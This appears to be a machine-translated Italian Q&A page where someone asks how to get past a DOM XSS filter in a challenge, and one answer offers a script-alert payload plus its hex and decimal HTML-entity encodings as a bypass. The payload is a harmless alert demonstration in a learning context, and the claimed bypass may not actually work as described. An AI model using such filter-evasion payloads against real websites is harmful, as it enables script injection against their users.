In che modo l'attaccante può ignorare questo filtro dom xss? [chiuso]

0

Sto provando a risolvere una sfida dom xss in cui il filtro utilizzato è:

var anchor = window.location.hash.substring(1);
if (window.location.href.match(/(script|javascript|src|onerror|%|<|>)/g)) {
        alert('xss detected');

Dopo che il filtro è stato ignorato, l'hash della posizione è scritto sulla pagina attraverso document.write. Non riesco a pensare a una soluzione funzionante dal momento che% è in regex, quindi nessun hex e < > è anche nel filtro. Ogni suggerimento o suggerimento è apprezzato.

    
posta Daniel 15.12.2013 - 00:48
fonte

1 risposta

3

C'è molto più della normale codifica esadecimale! Esistono anche entità esadecimali.

<script>alert("xss")</script>

È uguale a:

&#x3C;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x22;&#x78;&#x73;&#x73;&#x22;&#x29;&#x3C;&#x2F;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E;

C'è anche un valore decimale: &#60&#115&#99&#114&#105&#112&#116&#62&#97&#108&#101&#114&#116&#40&#34&#120&#115&#115&#34&#41&#60&#47&#115&#99&#114&#105&#112&#116&#62

Speriamo che questo ti aiuti.

    
risposta data 15.12.2013 - 02:01
fonte

Leggi altre domande sui tag